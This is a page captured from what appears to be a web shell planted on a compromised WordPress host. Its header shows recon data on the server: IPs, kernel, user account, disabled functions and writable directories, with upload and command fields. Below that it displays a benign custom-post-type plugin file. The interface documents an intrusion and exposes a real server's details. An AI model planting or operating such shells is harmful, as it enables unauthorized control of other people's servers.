403Webshell

Warning: set_time_limit() has been disabled for security reasons in /home/domains/vol3/223/3261223/user/htdocs/wp-content/plugins/contact-form-7/wp-contact-form-7.php on line 26
Server IP : 77.68.64.20  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux hp3-wp-1011484.hostingp3.local 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : csh2668037 ( 2112352)
PHP Version : 7.4.33
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/domains/vol3/223/3261223/user/htdocs/wp-content/plugins/purethemes-cpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/domains/vol3/223/3261223/user/htdocs/wp-content/plugins/purethemes-cpt/init.php
<?php
/*
Plugin Name: Purethemes.net CPT
Version: 1.1
Plugin URI: http://themeforest.net/user/purethemes/portfolio
Description: Plugin for Custom Post Types like Portfolio, Testimonials etc. used for Themes from <a href="http://purethemes.net">Purethemes.net</a>
Author: Purethemes.net
Author URI: http://themeforest.net/user/purethemes/portfolio
*/



/* ----------------------------------------------------- */
/* Portfolio Custom Post Type */
/* ----------------------------------------------------- */
    
function pt_register_portfolio(){
    add_action( 'init', 'register_cpt_portfolio' );
    function register_cpt_portfolio() {

        $labels = array(
            'name' => __( 'Portfolio','purepress'),
            'singular_name' => __( 'Portfolio','purepress'),
            'add_new' => __( 'Add New','purepress' ),
            'add_new_item' => __( 'Add New Work','purepress' ),
            'edit_item' => __( 'Edit Work','purepress'),
            'new_item' => __( 'New Work','purepress'),
            'view_item' => __( 'View Work','purepress'),
            'search_items' => __( 'Search Portfolio','purepress'),
            'not_found' => __( 'No portfolio found','purepress'),
            'not_found_in_trash' => __( 'No works found in Trash','purepress'),
            'parent_item_colon' => __( 'Parent work:','purepress'),
            'menu_name' => __( 'Portfolio','purepress'),
            );

        $args = array(
            'labels' => $labels,
            'hierarchical' => false,
            'description' => __('Display your works by filters','purepress'),
            'supports' => array( 'title', 'editor', 'excerpt', 'revisions', 'thumbnail' ),
            'public' => true,
            'show_ui' => true,
            'show_in_menu' => true,
            'show_in_nav_menus' => true,
            'publicly_queryable' => true,
            'exclude_from_search' => false,
            'has_archive' => true,
            'query_var' => true,
            'can_export' => true,
            'rewrite' => array( 'slug' => 'portfolio'),
            'capability_type' => 'post'
            );

        register_post_type( 'portfolio', $args );
    }
    

    /* ----------------------------------------------------- */
    /* Filter Taxonomy */
    /* ----------------------------------------------------- */
    if (!function_exists('register_taxonomy_filters')) {
        add_action( 'init', 'register_taxonomy_filters' );

        function register_taxonomy_filters() {

            $labels = array(
                'name' => __( 'Filters', 'purepress' ),
                'singular_name' => __( 'Filter', 'purepress' ),
                'search_items' => __( 'Search Filters', 'purepress' ),
                'popular_items' => __( 'Popular Filters', 'purepress' ),
                'all_items' => __( 'All Filters', 'purepress' ),
                'parent_item' => __( 'Parent Filter', 'purepress' ),
                'parent_item_colon' => __( 'Parent Filter:', 'purepress' ),
                'edit_item' => __( 'Edit Filter', 'purepress' ),
                'update_item' => __( 'Update Filter', 'purepress' ),
                'add_new_item' => __( 'Add New Filter', 'purepress' ),
                'new_item_name' => __( 'New Filter', 'purepress' ),
                'separate_items_with_commas' => __( 'Separate Filters with commas', 'purepress' ),
                'add_or_remove_items' => __( 'Add or remove Filters', 'purepress' ),
                'choose_from_most_used' => __( 'Choose from the most used Filters', 'purepress' ),
                'menu_name' => __( 'Filters', 'purepress' ),
                );

            $args = array(
                'labels' => $labels,
                'public' => true,
                'show_in_nav_menus' => true,
                'show_ui' => true,
                'show_tagcloud' => false,
                'hierarchical' => true,
                'rewrite' => true,
                'query_var' => true
                );
            register_taxonomy( 'filters', array('portfolio'), $args );
        }

        if (!function_exists('astrum_custom_taxonomy_post_class')) {
        /*
         * Adds terms from a custom taxonomy to post_class
         */
        add_filter( 'post_class', 'purethemes_filters_post_class', 10, 3 );

            function purethemes_filters_post_class( $classes, $class, $ID ) {
                $taxonomy = 'filters';
                $terms = get_the_terms( (int) $ID, $taxonomy );
                if( !empty( $terms ) ) {
                    foreach( (array) $terms as $order => $term ) {
                        if( !in_array( $term->slug, $classes ) ) {
                            $classes[] = $term->slug;
                        }
                    }
                }
                return $classes;
            }
        }
    }
}
add_action('purethemes-portfolio','pt_register_portfolio');



/* ----------------------------------------------------- */
/* Testimonials Custom Post Type */
/* ----------------------------------------------------- */

    
function pt_register_testimonials(){
    
    function register_cpt_testimonials() {

        $labels = array(
            'name' => __( 'Testimonials','purepress'),
            'singular_name' => __( 'testimonial','purepress'),
            'add_new' => __( 'Add New','purepress' ),
            'add_new_item' => __( 'Add New Testimonial','purepress' ),
            'edit_item' => __( 'Edit Testimonial','purepress'),
            'new_item' => __( 'New Testimonial','purepress'),
            'view_item' => __( 'View Testimonial','purepress'),
            'search_items' => __( 'Search Testimonials','purepress'),
            'not_found' => __( 'No testimonials found','purepress'),
            'not_found_in_trash' => __( 'No testimonials found in Trash','purepress'),
            'parent_item_colon' => __( 'Parent testimonial:','purepress'),
            'menu_name' => __( 'Testimonials','purepress'),
            );

        $args = array(
            'labels' => $labels,
            'hierarchical' => false,
            'description' => __('Display your works by filters','purepress'),
            'supports' => array( 'title', 'editor', 'excerpt', 'thumbnail' ),
            'public' => true,
            'show_ui' => true,
            'show_in_menu' => true,
            'show_in_nav_menus' => false,
            'publicly_queryable' => true,
            'exclude_from_search' => false,
            'has_archive' => true,
            'query_var' => true,
            'can_export' => true,
            'rewrite' => array( 'slug' => 'testimonial'),
            'capability_type' => 'post'
            );

        register_post_type( 'testimonial', $args );
    }
    add_action( 'init', 'register_cpt_testimonials' );
}
add_action('purethemes-testimonials','pt_register_testimonials');


/* ----------------------------------------------------- */
/* Team Custom Post Type */
/* ----------------------------------------------------- */
function pt_register_team(){
    
    function register_cpt_team() {

        $labels = array(
            'name' => __( 'Team','purepress'),
            'singular_name' => __( 'Team','purepress'),
            'add_new' => __( 'Add New','purepress' ),
            'add_new_item' => __( 'Add New Team Member','purepress' ),
            'edit_item' => __( 'Edit Team Member','purepress'),
            'new_item' => __( 'New Team Member','purepress'),
            'view_item' => __( 'View Team Member','purepress'),
            'search_items' => __( 'Search Team Members','purepress'),
            'not_found' => __( 'No Team Members found','purepress'),
            'not_found_in_trash' => __( 'No Team Members found in Trash','purepress'),
            'parent_item_colon' => __( 'Parent member:','purepress'),
            'menu_name' => __( 'Team','purepress'),
            );

        $args = array(
            'labels' => $labels,
            'hierarchical' => false,
            'supports' => array( 'title', 'editor', 'thumbnail', 'custom-fields' ),
            'public' => true,
            'show_ui' => true,
            'show_in_menu' => true,
            'show_in_nav_menus' => true,
            'publicly_queryable' => true,
            'exclude_from_search' => true,
            'has_archive' => true,
            'query_var' => true,
            'can_export' => true,
            'rewrite' => array( 'slug' => 'team'),
            'capability_type' => 'post'
            );
        register_post_type( 'team', $args );
    }
    add_action( 'init', 'register_cpt_team' );
}
add_action('purethemes-team','pt_register_team');


?>

Youez - 2016 - github.com/yon3zu
LinuXploit